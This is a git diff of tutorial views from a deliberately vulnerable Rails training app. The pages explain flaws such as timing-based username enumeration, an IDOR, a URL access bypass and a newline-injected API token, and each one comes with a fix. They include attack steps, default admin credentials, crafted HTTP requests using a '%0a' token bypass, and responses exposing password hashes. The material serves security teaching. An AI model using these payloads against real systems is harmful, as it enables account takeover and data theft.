    + <%= "#{u.first_name} #{u.last_name}"%> + + <%= u.email%> + + <%= u.admin ? %{ + <%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%> +
    - +
    @@ -51,11 +51,10 @@ function openEditModal(id){ }; function dataTablePagination(){ - $('#data-table').dataTable({ + $('#data-table').dataTable({ "sPaginationType": "full_numbers" }); }; - $(document).ready(dataTablePagination()); \ No newline at end of file diff --git a/app/views/layouts/admin/_get_user.html.erb b/app/views/layouts/admin/_get_user.html.erb index 9557b7d..8b2652e 100755 --- a/app/views/layouts/admin/_get_user.html.erb +++ b/app/views/layouts/admin/_get_user.html.erb @@ -1,7 +1,4 @@ - - - + <%= render "layouts/shared/footer" %> + - + diff --git a/app/views/layouts/shared/_header.html.erb b/app/views/layouts/shared/_header.html.erb index 3a62d80..0be9691 100755 --- a/app/views/layouts/shared/_header.html.erb +++ b/app/views/layouts/shared/_header.html.erb @@ -1,5 +1,4 @@
    - Font Size: A @@ -8,12 +7,12 @@
    \ No newline at end of file diff --git a/app/views/layouts/shared/_messages.html.erb b/app/views/layouts/shared/_messages.html.erb index c648022..76785d5 100755 --- a/app/views/layouts/shared/_messages.html.erb +++ b/app/views/layouts/shared/_messages.html.erb @@ -1,18 +1,18 @@ <% flash.each do |name, msg| %> - <% if name == :error %> -
    - × - <%= content_tag :div, msg, :id => "flash_notice" %> -
    - <% elsif name == :success %> -
    - × - <%= content_tag :div, msg, :id => "flash_notice" %> -
    - <% elsif name == :info %> -
    - × - <%= content_tag :div, msg, :id => "flash_notice" %> -
    - <% end %> + <% if name == :error %> +
    + × + <%= content_tag :div, msg, :id => "flash_notice" %> +
    + <% elsif name == :success %> +
    + × + <%= content_tag :div, msg, :id => "flash_notice" %> +
    + <% elsif name == :info %> +
    + × + <%= content_tag :div, msg, :id => "flash_notice" %> +
    + <% end %> <% end %> \ No newline at end of file diff --git a/app/views/layouts/shared/_sidebar.html.erb b/app/views/layouts/shared/_sidebar.html.erb index 7114b08..6f1cc38 100755 --- a/app/views/layouts/shared/_sidebar.html.erb +++ b/app/views/layouts/shared/_sidebar.html.erb @@ -17,9 +17,9 @@ Admin <% end %> - <% end %> + <% end %>
  • - <%= link_to user_benefit_forms_path(:user_id => current_user.user_id) do %> + <%= link_to user_benefit_forms_path(:user_id => current_user.user_id) do %>
    @@ -66,8 +66,8 @@ Messages <% end %>
  • -
  • - <%= link_to user_pay_index_path(:user_id => current_user.user_id) do %> +
  • + <%= link_to user_pay_index_path(:user_id => current_user.user_id) do %>
    @@ -77,52 +77,52 @@ - + diff --git a/app/views/layouts/tutorial/_header.html.erb b/app/views/layouts/tutorial/_header.html.erb index 1a7fddf..7e5443f 100755 --- a/app/views/layouts/tutorial/_header.html.erb +++ b/app/views/layouts/tutorial/_header.html.erb @@ -1,24 +1,24 @@
    - <% if not current_user %> - - - <% else %> - - <% end %> -
    - + \ No newline at end of file diff --git a/app/views/layouts/tutorial/_sidebar.html.erb b/app/views/layouts/tutorial/_sidebar.html.erb index 4cf7dce..bb6105f 100755 --- a/app/views/layouts/tutorial/_sidebar.html.erb +++ b/app/views/layouts/tutorial/_sidebar.html.erb @@ -1,6 +1,6 @@ @@ -63,7 +63,7 @@

    Failure to Restrict URL Access - ATTACK

    Request the following URL: /admin/1/dashboard and have fun :-) -

    +

    Failure to Restrict URL Access - SOLUTION

    The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb. The additional condition that if the admin_id param equals 1 means the filter can be circumvented by an attacker. The way to fix this issue is to remove the conditional and enforce the filter on all access requests to the admin dashboard as follows: @@ -71,7 +71,7 @@

             <%= %q{
             class AdminController < ApplicationController
    -        
    +
               before_filter :administrative
             } %>
             
    diff --git a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb index 030c51e..98cc566 100644 --- a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb +++ b/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb @@ -16,9 +16,9 @@
    -

    +

    A timing attack can exist in several forms. This specific case relates to username (email address) enumeration. By leveraging an automated tool, an attacker can review any subtle variation in response times after submitting a login request to determine if the application is performing a computationally intense function. Meaning, if a function is run once a user is discovered, even if the password is incorrect, this information provides the user with valid or invalid usernames. -

    +

    @@ -32,28 +32,28 @@
    -

    - Within app/models/user.rb -

    -
    -			  	    def self.authenticate(email, password)
    -			  	         auth = nil
    -			  	          user = find_by_email(email)
    -			  	          raise "#{email} doesn't exist!" if !(user)
    -			  	           if user.password == Digest::MD5.hexdigest(password)
    -			  	             auth = user
    -			  	           else
    -			  	            raise "Incorrect Password!"
    -			  	           end 
    -			  	         return auth
    -			  	    end
    -			  	
    -

    - Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use). -

    -

    - To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user is found, we will perform a password comparison and process as normal. -

    +

    + Within app/models/user.rb +

    +
    +              def self.authenticate(email, password)
    +                   auth = nil
    +                    user = find_by_email(email)
    +                    raise "#{email} doesn't exist!" if !(user)
    +                     if user.password == Digest::MD5.hexdigest(password)
    +                       auth = user
    +                     else
    +                      raise "Incorrect Password!"
    +                     end
    +                   return auth
    +              end
    +          
    +

    + Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use). +

    +

    + To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user is found, we will perform a password comparison and process as normal. +

    @@ -68,29 +68,29 @@

    Lack of Password Complexity - SOLUTION

    -

    - Within app/models/user.rb: -

    -
    -				 def self.authenticate(email, password)
    -				       user = find_by_email(email) || User.new(:password => "")
    -				        if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))
    -				          return user
    -				        else
    -				          raise "Incorrect username or password"
    -				        end 
    -				   end
    -			  
    -

    - To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time. -

    -

    - In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete. -

    +

    + Within app/models/user.rb: +

    +
    +         def self.authenticate(email, password)
    +               user = find_by_email(email) || User.new(:password => "")
    +                if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))
    +                  return user
    +                else
    +                  raise "Incorrect username or password"
    +                end
    +           end
    +        
    +

    + To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time. +

    +

    + In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete. +

    -
    + diff --git a/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb index 9f4ad27..4a1645a 100644 --- a/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb +++ b/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb @@ -17,8 +17,8 @@

    - Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords. -

    + Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords. +

    @@ -32,18 +32,18 @@
    -

    +

    Within app/models/User.rb

    -
    -				validates :password, :presence => true,
    -			                       :confirmation => true,
    -			                       :length => {:within => 6..40},
    -			                       :on => :create
    -			  
    -

    - The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. -

    +
    +        validates :password, :presence => true,
    +                             :confirmation => true,
    +                             :length => {:within => 6..40},
    +                             :on => :create
    +        
    +

    + The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. +

    @@ -58,28 +58,28 @@

    Lack of Password Complexity - ATTACK

    -

    - Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). -

    -

    Lack of Password Complexity - SOLUTION

    -

    - This regular expression validates the password has the following requirements: -

  • 1 digit
  • -
  • 1 lowercase alphabet
  • -
  • 1 uppercase alphabet
  • -
  • 1 special character
  • -

    -
    +          

    + Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). +

    +

    Lack of Password Complexity - SOLUTION

    +

    + This regular expression validates the password has the following requirements: +

  • 1 digit
  • +
  • 1 lowercase alphabet
  • +
  • 1 uppercase alphabet
  • +
  • 1 special character
  • +

    +
     validates :password, :presence => true,
                           :confirmation => true,
                           :if => :password,
                           :format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
    -  					
    -			  
    + +
    -
    + diff --git a/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb index 1c311c3..0ed7dc1 100755 --- a/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb +++ b/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb @@ -17,8 +17,8 @@

    - Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful. -

    + Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful. +

    @@ -33,50 +33,50 @@

    Username and Password Enumeration

    -

    Within /app/models/user.rb:

    - - -

    -						def self.authenticate(email, password)
    -					       	auth = nil
    -					       	user = find_by_email(email)
    -					       	# I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
    -					       	if user
    -					       	  if user.password == password
    -					       	    auth = user
    -					       	  else
    -					       	   raise "Incorrect Password!"
    -					       	  end 
    -					       	else
    -					       	   raise "#{email} doesn't exist!"
    -					       	end
    -					       	return auth
    -					   end
    -					  
    -

    On lines 9 and 12 you'll notice that the application generates two error messages.

    -

    Within /app/controllers/sessions_controller.rb:

    -

    -						  def create
    +        

    Within /app/models/user.rb:

    - begin - user = User.authenticate(params[:email], params[:password]) - rescue Exception => e - end - if user - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - redirect_to home_dashboard_index_path - else - flash[:error] = e.message - render "new" - end +

    +            def self.authenticate(email, password)
    +                  auth = nil
    +                  user = find_by_email(email)
    +                  # I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
    +                  if user
    +                    if user.password == password
    +                      auth = user
    +                    else
    +                     raise "Incorrect Password!"
    +                    end
    +                  else
    +                     raise "#{email} doesn't exist!"
    +                  end
    +                  return auth
    +             end
    +            
    +

    On lines 9 and 12 you'll notice that the application generates two error messages.

    +

    Within /app/controllers/sessions_controller.rb:

    +

    +              def create
     
    -						  end
    -					  
    -

    On line 5 you see the exception message object "e" is created. On line 11, the message is displayed.

    -

    - One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. -

    + begin + user = User.authenticate(params[:email], params[:password]) + rescue Exception => e + end + + if user + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? + redirect_to home_dashboard_index_path + else + flash[:error] = e.message + render "new" + end + + end +
    +

    On line 5 you see the exception message object "e" is created. On line 11, the message is displayed.

    +

    + One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. +

    @@ -91,34 +91,34 @@

    - Username and Password Enumeration - SOLUTION -

    -

    Within /app/controllers/sessions_controller.rb

    + Username and Password Enumeration - SOLUTION +

    +

    Within /app/controllers/sessions_controller.rb

    -				  def create
    +          def create
     
    -				      begin
    -				        user = User.authenticate(params[:email], params[:password])
    -				      rescue Exception => e
    -				      end
    +              begin
    +                user = User.authenticate(params[:email], params[:password])
    +              rescue Exception => e
    +              end
     
    -				      if user
    -				        session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    -				        redirect_to home_dashboard_index_path
    -				      else
    -				        flash[:error] =  "Either your username and password is incorrect" #e.message
    -				        render "new"
    -				      end
    +              if user
    +                session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    +                redirect_to home_dashboard_index_path
    +              else
    +                flash[:error] =  "Either your username and password is incorrect" #e.message
    +                render "new"
    +              end
     
    -				  end
    -	 		  
    -

    - Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered. -

    + end + +

    + Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered. +

    -
    - - + \ No newline at end of file diff --git a/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb b/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb index 670b8a3..1bf6c2a 100755 --- a/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb +++ b/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb @@ -17,8 +17,8 @@

    - Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. -

    + Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. +

    @@ -33,26 +33,26 @@

    - Within the app/controllers/work_info_controller.rb file the follow code can be found: -

    -
    -				<%= %q{
    -				 class WorkInfoController < ApplicationController
    +        Within the app/controllers/work_info_controller.rb file the follow code can be found:
    +        

    +
    +        <%= %q{
    +         class WorkInfoController < ApplicationController
     
    -				  def index
    -				    @user = User.find_by_user_id(params[:user_id])
    -				    if !(@user)
    -				      flash[:error] = "Sorry, no user with that user id exists"
    -				      redirect_to home_dashboard_index_path
    -				    end
    -				  end
    +          def index
    +            @user = User.find_by_user_id(params[:user_id])
    +            if !(@user)
    +              flash[:error] = "Sorry, no user with that user id exists"
    +              redirect_to home_dashboard_index_path
    +            end
    +          end
     
    -				end 
    -				} %>
    -			  
    -

    - Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema. -

    + end + } %> +
    +

    + Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema. +

    @@ -67,27 +67,27 @@

    Insecure Direct Object Reference - ATTACK

    -

    - Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info. - Now change it to someone else's user ID.

    Example - /users/2/work_info -

    -

    Insecure Direct Object Reference - SOLUTION

    -

    - The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). -

    -
    -				  def index
    -				    @user = current_user
    -				    if !(@user) || @user.admin 
    -				      flash[:error] = "Apologies, looks like something went wrong"
    -				      redirect_to home_dashboard_index_path
    -				    end
    -				  end
    -			  
    +

    + Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info. + Now change it to someone else's user ID.

    Example - /users/2/work_info +

    +

    Insecure Direct Object Reference - SOLUTION

    +

    + The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). +

    +
    +          def index
    +            @user = current_user
    +            if !(@user) || @user.admin
    +              flash[:error] = "Apologies, looks like something went wrong"
    +              redirect_to home_dashboard_index_path
    +            end
    +          end
    +        
    -
    - + \ No newline at end of file diff --git a/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb b/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb index 6bcfa1e..3586038 100644 --- a/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb +++ b/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb @@ -17,8 +17,8 @@

    - Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks. -

    + Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks. +

    @@ -33,69 +33,69 @@

    - Within the file app/controllers/api/v1/users_controller.rb: -

    -
    -				before_filter :valid_api_token
    -			    before_filter :extrapolate_user
    -			  
    -

    - The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. -

    -
    -			 		def valid_api_token
    -		     		   authenticate_or_request_with_http_token do |token, options|
    -		     		     # TODO :add some functionality to check if the HTTP Header is valid
    -		     		     identify_user(token)
    -		     		   end
    -		     		 end
    -             		
    -		     		def identify_user(token="")
    -		     		   # We've had issues with URL encoding, etc. causing issues so just to be safe
    -		     		   # we will go ahead and unescape the user's token
    -		     		   unescape_token(token)
    -		     		   @clean_token =~ /(.*?)-(.*)/
    -		     		   id = $1
    -		     		   hash = $2
    -		     		   (id && hash) ? true : false
    -		     		   check_hash(id, hash) ? true : false
    -		     		end
    -             		
    -		     		def check_hash(id, hash)
    -		     		 digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
    -		     		 hash == digest 
    -		     		end
    -			 		
    -			 		# We had some issues with the token and url encoding...
    -	         		# this is an attempt to normalize the data.
    -		     		def unescape_token(token="")
    -		     		  @clean_token = CGI::unescape(token)
    -		     		end
    -			  
    -

    - This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.

    Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.

    The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access. -

    -
    -		     	# Added a method to make it easy to figure out who the user is.
    -		     	def extrapolate_user
    -		     	  @user = User.find_by_id(@clean_token.split("-").first)
    -		     	end
    -			 
    -

    - Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as: -

    -
    -			 	Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
    -			 
    -

    - However, the user actually enters: -

    -
    -				Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
    -			
    -

    - This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! -

    + Within the file app/controllers/api/v1/users_controller.rb: +

    +
    +        before_filter :valid_api_token
    +          before_filter :extrapolate_user
    +        
    +

    + The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. +

    +
    +          def valid_api_token
    +               authenticate_or_request_with_http_token do |token, options|
    +                 # TODO :add some functionality to check if the HTTP Header is valid
    +                 identify_user(token)
    +               end
    +             end
    +
    +            def identify_user(token="")
    +               # We've had issues with URL encoding, etc. causing issues so just to be safe
    +               # we will go ahead and unescape the user's token
    +               unescape_token(token)
    +               @clean_token =~ /(.*?)-(.*)/
    +               id = $1
    +               hash = $2
    +               (id && hash) ? true : false
    +               check_hash(id, hash) ? true : false
    +            end
    +
    +            def check_hash(id, hash)
    +             digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
    +             hash == digest
    +            end
    +
    +          # We had some issues with the token and url encoding...
    +              # this is an attempt to normalize the data.
    +            def unescape_token(token="")
    +              @clean_token = CGI::unescape(token)
    +            end
    +        
    +

    + This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.

    Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.

    The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access. +

    +
    +          # Added a method to make it easy to figure out who the user is.
    +          def extrapolate_user
    +            @user = User.find_by_id(@clean_token.split("-").first)
    +          end
    +       
    +

    + Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as: +

    +
    +        Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
    +       
    +

    + However, the user actually enters: +

    +
    +        Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
    +      
    +

    + This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! +

    @@ -110,97 +110,97 @@

    Broken Regular Expression ATTACK:

    -

    - As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like: -

    -
    -	GET /api/v1/users HTTP/1.1
    -	Host: railsgoat.dev
    -	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    -	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -	Accept-Language: en-US,en;q=0.5
    -	Accept-Encoding: gzip, deflate
    -	Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc	
    -	Content-Length: 4
    -			   
    -

    - This is the response: -

    -
    -	HTTP/1.1 200 OK
    -	Content-Type: application/json; charset=utf-8
    -	X-UA-Compatible: IE=Edge
    -	ETag: "6b4caf343a20865de174b2b530b945dd"
    -	Cache-Control: max-age=0, private, must-revalidate
    -	X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
    -	X-Runtime: 0.008342
    -	Connection: close
    -	
    -	{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
    -	"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
    -	"updated_at":"2014-01-23T16:17:10Z","user_id":2}
    -			   
    -

    - We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a: -

    -
    -	GET /api/v1/users HTTP/1.1
    -	Host: railsgoat.dev
    -	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    -	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -	Accept-Language: en-US,en;q=0.5
    -	Accept-Encoding: gzip, deflate
    -	Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc	
    -	Content-Length: 4	
    -			   
    -

    - The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data): -

    -
    -	HTTP/1.1 200 OK
    -	Content-Type: application/json; charset=utf-8
    -	X-UA-Compatible: IE=Edge
    -	ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
    -	Cache-Control: max-age=0, private, must-revalidate
    -	X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
    -	X-Runtime: 0.009111
    -	Connection: close
    -	
    -	[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
    -	"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
    -	{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
    -	"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
    -	"2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
    -	"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
    -	"created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
    -	"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
    -	"2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
    -	"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
    -	"2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
    -	"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
    -	"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
    -	"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
    -			   
    -

    Broken Regular Expression SOLUTION:

    -

    - There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. -

    -
    -				def identify_user(token="")
    -					# We've had issues with URL encoding, etc. causing issues so just to be safe
    -					# we will go ahead and unescape the user's token
    -					unescape_token(token)
    -					@clean_token =~ /\A(.*?)-(.*)\z/
    -					id = $1
    -					hash = $2
    -					(id && hash) ? true : false
    -					check_hash(id, hash) ? true : false
    -				end
    -			   
    +

    + As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like: +

    +
    +  GET /api/v1/users HTTP/1.1
    +  Host: railsgoat.dev
    +  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    +  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    +  Accept-Language: en-US,en;q=0.5
    +  Accept-Encoding: gzip, deflate
    +  Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc
    +  Content-Length: 4
    +         
    +

    + This is the response: +

    +
    +  HTTP/1.1 200 OK
    +  Content-Type: application/json; charset=utf-8
    +  X-UA-Compatible: IE=Edge
    +  ETag: "6b4caf343a20865de174b2b530b945dd"
    +  Cache-Control: max-age=0, private, must-revalidate
    +  X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
    +  X-Runtime: 0.008342
    +  Connection: close
    +
    +  {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
    +  "first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
    +  "updated_at":"2014-01-23T16:17:10Z","user_id":2}
    +         
    +

    + We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a: +

    +
    +  GET /api/v1/users HTTP/1.1
    +  Host: railsgoat.dev
    +  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    +  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    +  Accept-Language: en-US,en;q=0.5
    +  Accept-Encoding: gzip, deflate
    +  Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc
    +  Content-Length: 4
    +         
    +

    + The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data): +

    +
    +  HTTP/1.1 200 OK
